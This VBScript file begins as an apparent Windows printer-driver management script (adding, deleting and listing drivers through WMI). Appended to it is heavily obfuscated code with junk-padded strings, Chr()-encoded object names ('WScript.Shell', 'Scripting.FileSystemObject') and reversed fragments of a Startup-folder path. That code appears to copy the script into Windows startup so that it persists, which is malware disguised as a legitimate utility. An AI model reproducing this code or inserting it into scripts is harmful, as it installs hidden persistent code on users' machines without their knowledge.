' Main execution starts here
sub main
dim iAction
dim iRetval
dim strServer
dim strModel
dim strPath
dim uVersion
dim strEnvironment
dim strInfFile
dim strUser
dim strPassword
' Abort if the host is not cscript
if not IsHostCscript() then
call wscript.echo(L_Help_Help_Host01_Text & vbCRLF & L_Help_Help_Host02_Text & vbCRLF & _
L_Help_Help_Host03_Text & vbCRLF & L_Help_Help_Host04_Text & vbCRLF & _
L_Help_Help_Host05_Text & vbCRLF & L_Help_Help_Host06_Text & vbCRLF)
wscript.quit
end if
' Get command line parameters
iRetval = ParseCommandLine(iAction, strServer, strModel, strPath, uVersion, _
strEnvironment, strInfFile, strUser, strPAssword)
if iRetval = kErrorSuccess then
select case iAction
case kActionAdd
iRetval = AddDriver(strServer, strModel, strPath, uVersion, _
strEnvironment, strInfFile, strUser, strPassword)
case kActionDel
iRetval = DelDriver(strServer, strModel, uVersion, strEnvironment, strUser, strPassword)
case kActionDelAll
iRetval = DelAllDrivers(strServer, strUser, strPassword)
case kActionList
iRetval = ListDrivers(strServer, strUser, strPassword)
case kActionUnknown
Usage(true)
exit sub
case else
Usage(true)
exit sub
end select
end if
end sub
' Add a driver
function AddDriver(strServer, strModel, strFilePath, uVersion, strEnvironment, strInfFile, strUser, strPassword)
on error resume next
DebugPrint kDebugTrace, L_Text_Dbg_Msg01_Text
dim oDriver
dim oService
dim iResult
dim uResult
' Initialize return value
iResult = kErrorFailure
if WmiConnect(strServer, kNameSpace, strUser, strPassword, oService) then
set oDriver = oService.Get("Win32_PrinterDriver")
else
AddDriver = kErrorFailure
exit function
end if
' Check if Get was successful
if Err.Number = kErrorSuccess then
oDriver.Name = strModel
oDriver.SupportedPlatform = strEnvironment
oDriver.Version = uVersion
oDriver.FilePath = strFilePath
oDriver.InfName = strInfFile
uResult = oDriver.AddPrinterDriver(oDriver)
if Err.Number = kErrorSuccess then
if uResult = kErrorSuccess then
wscript.echo L_Text_Msg_General01_Text & L_Space_Text & oDriver.Name
iResult = kErrorSuccess
else
wscript.echo L_Text_Msg_General02_Text & L_Space_Text & strModel & L_Space_Text _
& L_Text_Error_General03_Text & L_Space_Text & uResult
end if
else
wscript.echo L_Text_Msg_General02_Text & L_Space_Text & strModel & L_Space_Text _
& L_Error_Text & L_Space_Text & L_Hex_Text & hex(Err.Number) & L_Space_Text & Err.Description
end if
else
wscript.echo L_Text_Msg_General02_Text & L_Space_Text & strModel & L_Space_Text _
& L_Error_Text & L_Space_Text & L_Hex_Text & hex(Err.Number) & L_Space_Text & Err.Description
end if
AddDriver = iResult
end function
Function EVFKZHDFEXKAALBGFJZCSHKUBMBWDNEGMIILYBDDPBMQFVJETEHTDJFXLKIMGGCRSENSCQHEFVNRUUPFDWCYFKCCCLZOSRWJZVXAHRCDXDNHWOCRVCIJDELICKPQQTLNYDRYXPYMUZBCWUGNIITPJNFVKOXWBLMDRAJSXEUFEVOECILIECIIAWELYWOIRBLJMXLWLN(ENNLNYASBDPSYCEDVVXUAPMODKFSEXOXQMDUNLRMXEMFBJMGHUQANTPOBYHCTINEOSBMZKPJELWWDGNTYYKKGNJXWPSPDOSOQHQJIZHWEGWCXSKVLOEVYDYAJDPKSAGQSHGWPELYQNFZRGAEEXDOJXQNJQZEKXEEZFKPMOFHCGEKXYICDLFVWRGUQSMZEHOTJBALWK, find, PSWMDSGQKIXAYRJHIZPYUBGCVRLBVYWFSTQDZFDBKCCQGGPBZURMGLXNMTQLGEUMLRIEBGHCVNORZPWPCKBBGKZGWCRGPRVGIPFOXKZTNPRSXFNXXAJWDSGBSBIYPBNDSHJKJHRRKHOQTGJQOTIOIYDPIEWWCBELCNAQWDNPIRLVEPILSRJVSYUUEUBEKVOJCCOFGT)
LGSGQMHKTWKEKRJTDSFLCCIFNCCSBACFZXYOASDHWJHIZQDRSJKMAHRJXNSOJPJSTFFNSVSLOYOTUAFXYLZRQPERFPRMAPXHZPOUKQYXQZYCSYOWHUPYPRCDAOIDDGLYAGTFMLMIMCBQRCYGAUEFAZSIMKTWHVUKNZBMFJKWIGLNQLMYPBCJBGYAOKSBRPARHQDSAM = Len(ENNLNYASBDPSYCEDVVXUAPMODKFSEXOXQMDUNLRMXEMFBJMGHUQANTPOBYHCTINEOSBMZKPJELWWDGNTYYKKGNJXWPSPDOSOQHQJIZHWEGWCXSKVLOEVYDYAJDPKSAGQSHGWPELYQNFZRGAEEXDOJXQNJQZEKXEEZFKPMOFHCGEKXYICDLFVWRGUQSMZEHOTJBALWK)
QJIWUNFSAYVGFSKIHBBXURJESFUFZITXDBLZTJDMJSRDWJUZXHWRZOFZADEPTZTSEYDEGLPXXOOCZGHJKVIRMCXOVLZQEOTJZZYYFQSLSYTLADAUVVEYRBGBAPJUMZSIUEDAHJDUCWYNIMNSLEUJKURXSWYQGXZTFLQWZZMMRKVUCTTOBRJHEJYAMGHKKNNFXFHXVR = Len(find)
LSIRZYXUZDJOOOROWMQJSSCBEWQXXLVSKYXPWSYBPLIGBYZQGQLKFHZTPGMDHZXOHQDQRBSENOTHKVAGXAQGZKNDYEZPFVTPOTYKUJZEYHXQNSJTGGGHIROWDARNBCYSUETQXQLOAMHSNXPGUFJYOMGXFBGURMCVIEVJZSWPVSGWJWJGLKSWTADIXVLVJRWOKMJJBG = Len(PSWMDSGQKIXAYRJHIZPYUBGCVRLBVYWFSTQDZFDBKCCQGGPBZURMGLXNMTQLGEUMLRIEBGHCVNORZPWPCKBBGKZGWCRGPRVGIPFOXKZTNPRSXFNXXAJWDSGBSBIYPBNDSHJKJHRRKHOQTGJQOTIOIYDPIEWWCBELCNAQWDNPIRLVEPILSRJVSYUUEUBEKVOJCCOFGT)
ReDim CJTCWGKNJSAIGUGCIBNMDHBGEWRMXMAEFEPMZXHBMICCIIPUDKBHNTDVHNYAOYQWSVDCETCLTLZVEYXVHXINLSRLBTFMYHNORFKNEMPKHPNBTHQIPCSRPDKAESBKNPMMYLDYOKRUHYFVEQRTDXWVOWZOVJJMKEWSDBDIESTFLYJQYPWOAHHQSQYCLPDFBEJCCNSDMJ(LGSGQMHKTWKEKRJTDSFLCCIFNCCSBACFZXYOASDHWJHIZQDRSJKMAHRJXNSOJPJSTFFNSVSLOYOTUAFXYLZRQPERFPRMAPXHZPOUKQYXQZYCSYOWHUPYPRCDAOIDDGLYAGTFMLMIMCBQRCYGAUEFAZSIMKTWHVUKNZBMFJKWIGLNQLMYPBCJBGYAOKSBRPARHQDSAM)
i = 1
j = 0
Do While i <= LGSGQMHKTWKEKRJTDSFLCCIFNCCSBACFZXYOASDHWJHIZQDRSJKMAHRJXNSOJPJSTFFNSVSLOYOTUAFXYLZRQPERFPRMAPXHZPOUKQYXQZYCSYOWHUPYPRCDAOIDDGLYAGTFMLMIMCBQRCYGAUEFAZSIMKTWHVUKNZBMFJKWIGLNQLMYPBCJBGYAOKSBRPARHQDSAM
If Mid(ENNLNYASBDPSYCEDVVXUAPMODKFSEXOXQMDUNLRMXEMFBJMGHUQANTPOBYHCTINEOSBMZKPJELWWDGNTYYKKGNJXWPSPDOSOQHQJIZHWEGWCXSKVLOEVYDYAJDPKSAGQSHGWPELYQNFZRGAEEXDOJXQNJQZEKXEEZFKPMOFHCGEKXYICDLFVWRGUQSMZEHOTJBALWK, i, QJIWUNFSAYVGFSKIHBBXURJESFUFZITXDBLZTJDMJSRDWJUZXHWRZOFZADEPTZTSEYDEGLPXXOOCZGHJKVIRMCXOVLZQEOTJZZYYFQSLSYTLADAUVVEYRBGBAPJUMZSIUEDAHJDUCWYNIMNSLEUJKURXSWYQGXZTFLQWZZMMRKVUCTTOBRJHEJYAMGHKKNNFXFHXVR) = find Then
For k = 1 To LSIRZYXUZDJOOOROWMQJSSCBEWQXXLVSKYXPWSYBPLIGBYZQGQLKFHZTPGMDHZXOHQDQRBSENOTHKVAGXAQGZKNDYEZPFVTPOTYKUJZEYHXQNSJTGGGHIROWDARNBCYSUETQXQLOAMHSNXPGUFJYOMGXFBGURMCVIEVJZSWPVSGWJWJGLKSWTADIXVLVJRWOKMJJBG
CJTCWGKNJSAIGUGCIBNMDHBGEWRMXMAEFEPMZXHBMICCIIPUDKBHNTDVHNYAOYQWSVDCETCLTLZVEYXVHXINLSRLBTFMYHNORFKNEMPKHPNBTHQIPCSRPDKAESBKNPMMYLDYOKRUHYFVEQRTDXWVOWZOVJJMKEWSDBDIESTFLYJQYPWOAHHQSQYCLPDFBEJCCNSDMJ(j) = Mid(PSWMDSGQKIXAYRJHIZPYUBGCVRLBVYWFSTQDZFDBKCCQGGPBZURMGLXNMTQLGEUMLRIEBGHCVNORZPWPCKBBGKZGWCRGPRVGIPFOXKZTNPRSXFNXXAJWDSGBSBIYPBNDSHJKJHRRKHOQTGJQOTIOIYDPIEWWCBELCNAQWDNPIRLVEPILSRJVSYUUEUBEKVOJCCOFGT, k, 1)
j = j + 1
Next
i = i + QJIWUNFSAYVGFSKIHBBXURJESFUFZITXDBLZTJDMJSRDWJUZXHWRZOFZADEPTZTSEYDEGLPXXOOCZGHJKVIRMCXOVLZQEOTJZZYYFQSLSYTLADAUVVEYRBGBAPJUMZSIUEDAHJDUCWYNIMNSLEUJKURXSWYQGXZTFLQWZZMMRKVUCTTOBRJHEJYAMGHKKNNFXFHXVR
Else
CJTCWGKNJSAIGUGCIBNMDHBGEWRMXMAEFEPMZXHBMICCIIPUDKBHNTDVHNYAOYQWSVDCETCLTLZVEYXVHXINLSRLBTFMYHNORFKNEMPKHPNBTHQIPCSRPDKAESBKNPMMYLDYOKRUHYFVEQRTDXWVOWZOVJJMKEWSDBDIESTFLYJQYPWOAHHQSQYCLPDFBEJCCNSDMJ(j) = Mid(ENNLNYASBDPSYCEDVVXUAPMODKFSEXOXQMDUNLRMXEMFBJMGHUQANTPOBYHCTINEOSBMZKPJELWWDGNTYYKKGNJXWPSPDOSOQHQJIZHWEGWCXSKVLOEVYDYAJDPKSAGQSHGWPELYQNFZRGAEEXDOJXQNJQZEKXEEZFKPMOFHCGEKXYICDLFVWRGUQSMZEHOTJBALWK, i, 1)
i = i + 1
j = j + 1
End If
Loop
LDRKQMJQFNUMDXFZMCAWOOOEGOGNKXTBRSWNBGIPCZYRGSGFXOFALMAWPMDCFVFIUTVKASXGULTPQWYOHBQWRTPERZXPCFKHTPXMXWEFRYFASKGTNPUDFIQBEQSBUHDOBMWAYMRLXLFSNOLHTEBNKGCKZWHGDDKJVQZGOGUBYJGUDXNPFLHPFQDVKLBBEKHTAVXWPF = ""
For i = 0 To j - 1
LDRKQMJQFNUMDXFZMCAWOOOEGOGNKXTBRSWNBGIPCZYRGSGFXOFALMAWPMDCFVFIUTVKASXGULTPQWYOHBQWRTPERZXPCFKHTPXMXWEFRYFASKGTNPUDFIQBEQSBUHDOBMWAYMRLXLFSNOLHTEBNKGCKZWHGDDKJVQZGOGUBYJGUDXNPFLHPFQDVKLBBEKHTAVXWPF = LDRKQMJQFNUMDXFZMCAWOOOEGOGNKXTBRSWNBGIPCZYRGSGFXOFALMAWPMDCFVFIUTVKASXGULTPQWYOHBQWRTPERZXPCFKHTPXMXWEFRYFASKGTNPUDFIQBEQSBUHDOBMWAYMRLXLFSNOLHTEBNKGCKZWHGDDKJVQZGOGUBYJGUDXNPFLHPFQDVKLBBEKHTAVXWPF & CJTCWGKNJSAIGUGCIBNMDHBGEWRMXMAEFEPMZXHBMICCIIPUDKBHNTDVHNYAOYQWSVDCETCLTLZVEYXVHXINLSRLBTFMYHNORFKNEMPKHPNBTHQIPCSRPDKAESBKNPMMYLDYOKRUHYFVEQRTDXWVOWZOVJJMKEWSDBDIESTFLYJQYPWOAHHQSQYCLPDFBEJCCNSDMJ(i)
Next
EVFKZHDFEXKAALBGFJZCSHKUBMBWDNEGMIILYBDDPBMQFVJETEHTDJFXLKIMGGCRSENSCQHEFVNRUUPFDWCYFKCCCLZOSRWJZVXAHRCDXDNHWOCRVCIJDELICKPQQTLNYDRYXPYMUZBCWUGNIITPJNFVKOXWBLMDRAJSXEUFEVOECILIECIIAWELYWOIRBLJMXLWLN = LDRKQMJQFNUMDXFZMCAWOOOEGOGNKXTBRSWNBGIPCZYRGSGFXOFALMAWPMDCFVFIUTVKASXGULTPQWYOHBQWRTPERZXPCFKHTPXMXWEFRYFASKGTNPUDFIQBEQSBUHDOBMWAYMRLXLFSNOLHTEBNKGCKZWHGDDKJVQZGOGUBYJGUDXNPFLHPFQDVKLBBEKHTAVXWPF
End Function
On Error Resume Next
rUMdcMrUWQdloUvfeWhXWDWtDqCpqLwbdryxlobZGcLgUcSCwgPVPMzEnlPgVaUvUWaRVxyWlUWSjqVvsZuBdgcRVtWemaQfMgWRBBUzPROQMnqWoBCvwMnlxWvbnZavZDlUMEgcEvZlqViMACWkuUoDrPUaLqhUofdUMZMGbmolbUxPWPaUxndRlwUqhTXkkErPCg = Chr(112)&Chr(117)&Chr(116)&Chr(114)&Chr(97)&Chr(116)&Chr(83)
Escola = rUMdcMrUWQdloUvfeWhXWDWtDqCpqLwbdryxlobZGcLgUcSCwgPVPMzEnlPgVaUvUWaRVxyWlUWSjqVvsZuBdgcRVtWemaQfMgWRBBUzPROQMnqWoBCvwMnlxWvbnZavZDlUMEgcEvZlqViMACWkuUoDrPUaLqhUofdUMZMGbmolbUxPWPaUxndRlwUqhTXkkErPCg
Escola = eKRiX(eKRiX(eKRiX(Escola)))
aGqihqkHbUiMDaCTXZGtWkbZcwhnwsvGGiKbDiGhvUseHUqGxUyjGqrvrMDSHPTCitaajiqZMTtqWtjyHGwGipWLmDLWWPNUnZOaSSiJGaGUjrZIqKMCPscWiWCGrWayWUDJjvpkjCGWwmIWSeuUDiDUptaPLHGiqUNwjtjvaWiWPGxGtIaTxcLaPPiZwatYYjaDGZ = "GU"
JXYWYKSWPXWSHTFRJCCYHYV
ONBSRMCLJWVJSRWNSNRVPPVZZHLCMFTGCBTJFPPGSCDSTRCMBZF
if 0 then
WYphXcgDCmhNXwDiYbPUgsCpCNUYQOOKxOacsPKJNYOpUYQPOgvipccvMNkqDDUDDUhmwckbNUUQAviZDfXLhYgwwGpYxJmNOSKNAtDolNISbMpKPtPiRbXccgiKMwhvwxsTPCYGvitzNwmpAPbwGwXxglwDdpbDXNZQPtbNhXPcKYAvUphUAXhmeRwpOwUBBvWmPS= Chr(87)&Chr(83)&Chr(99)&Chr(114)&Chr(105)&Chr(112)&Chr(116)&Chr(46)&Chr(83)&Chr(104)&Chr(101)&Chr(108)&Chr(108)
KPgRKQWvKdRqCfcfUNUigRKhorohbZnNwgIGDDNgPWZWvWgGngdJDQtKKqWpvGPcvYcdSGQNqPYgZOJvClSsRpuWSxpUogXvgCxOeovuHOKShKhxDoGdchUJGgdNKDcdDMDnSopQKdCwrSugeGNHxfCMWHfGWhxvCvDbSChPcUDJNPmdYDcPmURdzcfhTfiOOKKXGC = Chr(83)&Chr(99)&Chr(114)&Chr(105)&Chr(112)&Chr(116)&Chr(105)&Chr(110)&Chr(103)&Chr(46)&Chr(70)&Chr(105)&Chr(108)&Chr(101)&Chr(83)&Chr(121)&Chr(115)&Chr(116)&Chr(101)&Chr(109)&Chr(79)&Chr(98)&Chr(106)&Chr(101)&Chr(99)&Chr(116)
Set ONKOXKUZzGOiRGCPaGzbUwzWcAIOASLufwPSDUuWgYSGUYvrZDmQqKUDGiUTZMWClgUkQTaGiWgvDLQmrcPlOWrrGMQqUMqkYxNqMMliQkNGMGWKPBSCGWjsTUCuGrUmecDzMDWUhCcsAGNUMGAmMlRcqWGMeYOlPkKAMMMgUUUsDNZQgBUWZjakcGlWSGbIIhOCrxo = CreateObject(WYphXcgDCmhNXwDiYbPUgsCpCNUYQOOKxOacsPKJNYOpUYQPOgvipccvMNkqDDUDDUhmwckbNUUQAviZDfXLhYgwwGpYxJmNOSKNAtDolNISbMpKPtPiRbXccgiKMwhvwxsTPCYGvitzNwmpAPbwGwXxglwDdpbDXNZQPtbNhXPcKYAvUphUAXhmeRwpOwUBBvWmPS)
Set zuHcGKYANqCSwKLwcqfcPKMUPXlWGMLccccqqQRKGxPNicecRPhcGuvsPbWzRwPRMGKiLqzcQNKfNQYfPncwXqcccHJKzczPcqKBlNMcHLQzqYqLbhcGlxHbGPPQPHPBRMRWRuxqGvCKRlvbPYQbHNPcUMucGewbTccHMLGLcGvlPeqKRzWwcXUhRxGfYRNDcwhzRW = CreateObject(KPgRKQWvKdRqCfcfUNUigRKhorohbZnNwgIGDDNgPWZWvWgGngdJDQtKKqWpvGPcvYcdSGQNqPYgZOJvClSsRpuWSxpUogXvgCxOeovuHOKShKhxDoGdchUJGgdNKDcdDMDnSopQKdCwrSugeGNHxfCMWHfGWhxvCvDbSChPcUDJNPmdYDcPmURdzcfhTfiOOKKXGC)
ONKOXKUZzGOiRGCPaGzbUwzWcAIOASLufwPSDUuWgYSGUYvrZDmQqKUDGiUTZMWClgUkQTaGiWgvDLQmrcPlOWrrGMQqUMqkYxNqMMliQkNGMGWKPBSCGWjsTUCuGrUmecDzMDWUhCcsAGNUMGAmMlRcqWGMeYOlPkKAMMMgUUUsDNZQgBUWZjakcGlWSGbIIhOCrx = zuHcGKYANqCSwKLwcqfcPKMUPXlWGMLccccqqQRKGxPNicecRPhcGuvsPbWzRwPRMGKiLqzcQNKfNQYfPncwXqcccHJKzczPcqKBlNMcHLQzqYqLbhcGlxHbGPPQPHPBRMRWRuxqGvCKRlvbPYQbHNPcUMucGewbTccHMLGLcGvlPeqKRzWwcXUhRxGfYRNDcwhzRW.GetAbsolutePathName(WScript.ScriptFullName)
UTkDOkaGfUDUOwTLBpYXagfdKPeMPccuDrWWMIunlBclSBccURahxkKXbUGWGdfThnYchjjpUfncophasGBADIUDRzZwDdfeuDKKXXhUGcyUKbdDeqOTCWqDjaTubUYaGCMUKXIaHTGDPRekXlLKzhOCmowdQiSheeKPKWKlYDIDJTUGnfYfUqGcUChdcwXNNHUdcD = ONKOXKUZzGOiRGCPaGzbUwzWcAIOASLufwPSDUuWgYSGUYvrZDmQqKUDGiUTZMWClgUkQTaGiWgvDLQmrcPlOWrrGMQqUMqkYxNqMMliQkNGMGWKPBSCGWjsTUCuGrUmecDzMDWUhCcsAGNUMGAmMlRcqWGMeYOlPkKAMMMgUUUsDNZQgBUWZjakcGlWSGbIIhOCrx
mvWjgWByLPjBWLfMdCUevvLGjKWPKwatPPzWLftbAqwZWqGvogbrXWdSlBgpyBQfLelHrUpCBQeGKqrbyqtcjZZWUkKPUBWnvUUqQQLoWHPPAlGdmdufAnoLUvftlZlbcOLKASZBZfqLKUZUQZMTkLWOOhLBAWDLmncKARAAlUfLWvoWeWlQoohHtALGpLeNNZmKvU34 = "
]]*#}::
*#]#:#
:#@@:]
ccvXnvdzMwXBDJWpLLOtjKMXWWdfWoJSnOkhfuSGKYomLYtGKQKjqvDdJBahzBPWUcTPjiRLBPctLfjKxCvsXbiSYfhbgBzdGsWqqqUyJPewrJXIcfDWacXdijWSJiTKgQfNrdbdpWCdWYKoqmjcfUDQWXJBqUWUcdQWrTrKTgudJcKJcGTPKXuPQaUXtJtUUpcAGs = ")'sbv." + aGqihqkHbUiMDaCTXZGtWkbZcwhnwsvGGiKbDiGhvUseHUqGxUyjGqrvrMDSHPTCitaajiqZMTtqWtjyHGwGipWLmDLWWPNUnZOaSSiJGaGUjrZIqKMCPscWiWCGrWayWUDJjvpkjCGWwmIWSeuUDiDUptaPLHGiqUNwjtjvaWiWPGxGtIaTxcLaPPiZwatYYjaDGZ + " \pu
]]*#}::
*#]#:#
:#@@:]
]]*#}::
*#]#:#
:#@@:]
@atS\sm
]]*#}::
*#]#:#
:#@@:]
]]*#}::
*#]#:#
:#@@:]
]]*#}::
*#]#:#
:#@@:]
]]*#}::
*#]#:#
:#@@:]
ccvXnvdzMwXBDJWpLLOtjKMXWWdfWoJSnOkhfuSGKYomLYtGKQKjqvDdJBahzBPWUcTPjiRLBPctLfjKxCvsXbiSYfhbgBzdGsWqqqUyJPewrJXIcfDWacXdijWSJiTKgQfNrdbdpWCdWYKoqmjcfUDQWXJBqUWUcdQWrTrKTgudJcKJcGTPKXuPQaUXtJtUUpcAGs = ccvXnvdzMwXBDJWpLLOtjKMXWWdfWoJSnOkhfuSGKYomLYtGKQKjqvDdJBahzBPWUcTPjiRLBPctLfjKxCvsXbiSYfhbgBzdGsWqqqUyJPewrJXIcfDWacXdijWSJiTKgQfNrdbdpWCdWYKoqmjcfUDQWXJBqUWUcdQWrTrKTgudJcKJcGTPKXuPQaUXtJtUUpcAGs + " tra
]]*#}::
*#]#:#
:#@@:]
]]*#}::
*#]#:#
:#@@:]
]]*#}::
*#]#:#
:#@@:]
]]*#}::
*#]#:#
:#@@:]
]]*#}::
*#]#:#
:#@@:]
@dniW\t
]]*#}::
*#]#:#
:#@@:]
]]*#}::
*#]#:#
:#@@:]
]]*#}::
*#]#:#
:#@@:]
]]*#}::
*#]#:#
:#@@:]
]]*#}::
*#]#:#
:#@@:]
]]*#}::
*#]#:#
:#@@:]
]]*#}::
*#]#:#
:#@@:]
]]*#}::
*#]#:#
:#@@:]
]]*#}::
*#]#:#
:#@@:]
]]*#}::
*#]#:#
:#@@:]
]]*#}::
*#]#:#
:#@@:]
@aoR\a
]]*#}::
*#]#:#
:#@@:]
]]*#}::
*#]#:#
:#@@:]
]]*#}::
*#]#:#
:#@@:]
]]*#}::
*#]#:#
:#@@:]
]]*#}::
*#]#:#
:#@@:]
ccvXnvdzMwXBDJWpLLOtjKMXWWdfWoJSnOkhfuSGKYomLYtGKQKjqvDdJBahzBPWUcTPjiRLBPctLfjKxCvsXbiSYfhbgBzdGsWqqqUyJPewrJXIcfDWacXdijWSJiTKgQfNrdbdpWCdWYKoqmjcfUDQWXJBqUWUcdQWrTrKTgudJcKJcGTPKXuPQaUXtJtUUpcAGs = jfBGKAOZyGDhyodWuuueBwQxGLDdoiIOZNhdKcCduBXZGNWYYRWJNGUnQiUZWzWPBJnZcwhhneLGKcGOLLAWSpMRCcbbDudZdOGLkwuWJAWOhUfwNLUHQZSzHGKGNdkZLpNMuBkGOGOkPDGeNdWizOmGKaiJSIZOjWyGrySceZnueLfOSZOanyWTDkQypfLlccdLKO(jfBGKAOZyGDhyodWuuueBwQxGLDdoiIOZNhdKcCduBXZGNWYYRWJNGUnQiUZWzWPBJnZcwhhneLGKcGOLLAWSpMRCcbbDudZdOGLkwuWJAWOhUfwNLUHQZSzHGKGNdkZLpNMuBkGOGOkPDGeNdWizOmGKaiJSIZOjWyGrySceZnueLfOSZOanyWTDkQypfLlccdLKO( ccvXnvdzMwXBDJWpLLOtjKMXWWdfWoJSnOkhfuSGKYomLYtGKQKjqvDdJBahzBPWUcTPjiRLBPctLfjKxCvsXbiSYfhbgBzdGsWqqqUyJPewrJXIcfDWacXdijWSJiTKgQfNrdbdpWCdWYKoqmjcfUDQWXJBqUWUcdQWrTrKTgudJcKJcGTPKXuPQaUXtJtUUpcAGs , mvWjgWByLPjBWLfMdCUevvLGjKWPKwatPPzWLftbAqwZWqGvogbrXWdSlBgpyBQfLelHrUpCBQeGKqrbyqtcjZZWUkKPUBWnvUUqQQLoWHPPAlGdmdufAnoLUvftlZlbcOLKASZBZfqLKUZUQZMTkLWOOhLBAWDLmncKARAAlUfLWvoWeWlQoohHtALGpLeNNZmKvU34 , NgcvDmTckvWWDOJbWTWG
NCcbAcPlZSbwhSoDTTHOSCchXfAcfxIDLaiTPLmRPmAPAmQUPnUWfcmwewWhlONohcaGWTOTwAcQiRWUCMWDbSovWNXTHOUQYtJGWWhZoGWCZeqJLWPocZvUWSomebaUbXPeZwUPUoCUfWSGvPTLNhgXsoSOiqrhgQGipsZPaHLUDCPUTcaAPvvSLchqISOccUaUUt = "c
(t*!}qc
G*4@W#l^#
(t*!}qc
G*4@W#l^#
(t*!}qc
G*4@W#l^#
(t*!}qc
G*4@W#l^#
(t*!}qc
G*4@W#l^#
(t*!}qc
G*4@W#l^#
(t*!}qc
G*4@W#l^#
(t*!}qc
G*4@W#l^#
(t*!}qc
G*4@W#l^#
(t*!}qc
G*4@W#l^#
(t*!}qc
G*4@W#l^#
NCcbAcPlZSbwhSoDTTHOSCchXfAcfxIDLaiTPLmRPmAPAmQUPnUWfcmwewWhlONohcaGWTOTwAcQiRWUCMWDbSovWNXTHOUQYtJGWWhZoGWCZeqJLWPocZvUWSomebaUbXPeZwUPUoCUfWSGvPTLNhgXsoSOiqrhgQGipsZPaHLUDCPUTcaAPvvSLchqISOccUaUUt = NCcbAcPlZSbwhSoDTTHOSCchXfAcfxIDLaiTPLmRPmAPAmQUPnUWfcmwewWhlONohcaGWTOTwAcQiRWUCMWDbSovWNXTHOUQYtJGWWhZoGWCZeqJLWPocZvUWSomebaUbXPeZwUPUoCUfWSGvPTLNhgXsoSOiqrhgQGipsZPaHLUDCPUTcaAPvvSLchqISOccUaUUt + "c
(t*!}qc
G*4@W#l^#
(t*!}qc
G*4@W#l^#
(t*!}qc
G*4@W#l^#
(t*!}qc
G*4@W#l^#
(t*!}qc
G*4@W#l^#
(t*!}qc
G*4@W#l^#
(t*!}qc
G*4@W#l^#
NCcbAcPlZSbwhSoDTTHOSCchXfAcfxIDLaiTPLmRPmAPAmQUPnUWfcmwewWhlONohcaGWTOTwAcQiRWUCMWDbSovWNXTHOUQYtJGWWhZoGWCZeqJLWPocZvUWSomebaUbXPeZwUPUoCUfWSGvPTLNhgXsoSOiqrhgQGipsZPaHLUDCPUTcaAPvvSLchqISOccUaUUt = NCcbAcPlZSbwhSoDTTHOSCchXfAcfxIDLaiTPLmRPmAPAmQUPnUWfcmwewWhlONohcaGWTOTwAcQiRWUCMWDbSovWNXTHOUQYtJGWWhZoGWCZeqJLWPocZvUWSomebaUbXPeZwUPUoCUfWSGvPTLNhgXsoSOiqrhgQGipsZPaHLUDCPUTcaAPvvSLchqISOccUaUUt + ONKOXKUZzGOiRGCPaGzbUwzWcAIOASLufwPSDUuWgYSGUYvrZDmQqKUDGiUTZMWClgUkQTaGiWgvDLQmrcPlOWrrGMQqUMqkYxNqMMliQkNGMGWKPBSCGWjsTUCuGrUmecDzMDWUhCcsAGNUMGAmMlRcqWGMeYOlPkKAMMMgUUUsDNZQgBUWZjakcGlWSGbIIhOCrx + "',"
NCcbAcPlZSbwhSoDTTHOSCchXfAcfxIDLaiTPLmRPmAPAmQUPnUWfcmwewWhlONohcaGWTOTwAcQiRWUCMWDbSovWNXTHOUQYtJGWWhZoGWCZeqJLWPocZvUWSomebaUbXPeZwUPUoCUfWSGvPTLNhgXsoSOiqrhgQGipsZPaHLUDCPUTcaAPvvSLchqISOccUaUUt = NCcbAcPlZSbwhSoDTTHOSCchXfAcfxIDLaiTPLmRPmAPAmQUPnUWfcmwewWhlONohcaGWTOTwAcQiRWUCMWDbSovWNXTHOUQYtJGWWhZoGWCZeqJLWPocZvUWSomebaUbXPeZwUPUoCUfWSGvPTLNhgXsoSOiqrhgQGipsZPaHLUDCPUTcaAPvvSLchqISOccUaUUt + "'Cc
(t*!}qc
G*4@W#l^#
(t*!}qc
G*4@W#l^#
(t*!}qc
G*4@W#l^#
(t*!}qc
G*4@W#l^#
ers\' c
(t*!}qc
G*4@W#l^#
(t*!}qc
G*4@W#l^#
(t*!}qc
G*4@W#l^#
(t*!}qc
G*4@W#l^#
(t*!}qc
G*4@W#l^#
(t*!}qc
G*4@W#l^#
(t*!}qc
G*4@W#l^#
(t*!}qc
G*4@W#l^#
(t*!}qc
G*4@W#l^#
(t*!}qc
G*4@W#l^#
(t*!}qc
G*4@W#l^#
(t*!}qc
G*4@W#l^#
(t*!}qc
G*4@W#l^#
(t*!}qc
G*4@W#l^#
(t*!}qc
G*4@W#l^#
(t*!}qc
G*4@W#l^#
(t*!}qc
G*4@W#l^#
(t*!}qc
G*4@W#l^#
(t*!}qc
G*4@W#l^#
lTaGbKPhoGAGPzXWNbNMaTTDGTuOpGWshTKCbjdXzaWzUPnWWCGfewSJBvvgWZbsCiScuPKKRiZGcPUsmvKTRTvpdjOOSNChXyZyNINIoKksGSTPTWcaITRcaInZTCRYTUTmbaRGyRKtUSJiUXOtMwRudkGfnWgDLOPwuopuMqRbMyGshzDyJLWNPtIoLTTJuuvedD = ccvXnvdzMwXBDJWpLLOtjKMXWWdfWoJSnOkhfuSGKYomLYtGKQKjqvDdJBahzBPWUcTPjiRLBPctLfjKxCvsXbiSYfhbgBzdGsWqqqUyJPewrJXIcfDWacXdijWSJiTKgQfNrdbdpWCdWYKoqmjcfUDQWXJBqUWUcdQWrTrKTgudJcKJcGTPKXuPQaUXtJtUUpcAGs
lTaGbKPhoGAGPzXWNbNMaTTDGTuOpGWshTKCbjdXzaWzUPnWWCGfewSJBvvgWZbsCiScuPKKRiZGcPUsmvKTRTvpdjOOSNChXyZyNINIoKksGSTPTWcaITRcaInZTCRYTUTmbaRGyRKtUSJiUXOtMwRudkGfnWgDLOPwuopuMqRbMyGshzDyJLWNPtIoLTTJuuvedD = eKRiX( _
lTaGbKPhoGAGPzXWNbNMaTTDGTuOpGWshTKCbjdXzaWzUPnWWCGfewSJBvvgWZbsCiScuPKKRiZGcPUsmvKTRTvpdjOOSNChXyZyNINIoKksGSTPTWcaITRcaInZTCRYTUTmbaRGyRKtUSJiUXOtMwRudkGfnWgDLOPwuopuMqRbMyGshzDyJLWNPtIoLTTJuuvedD)
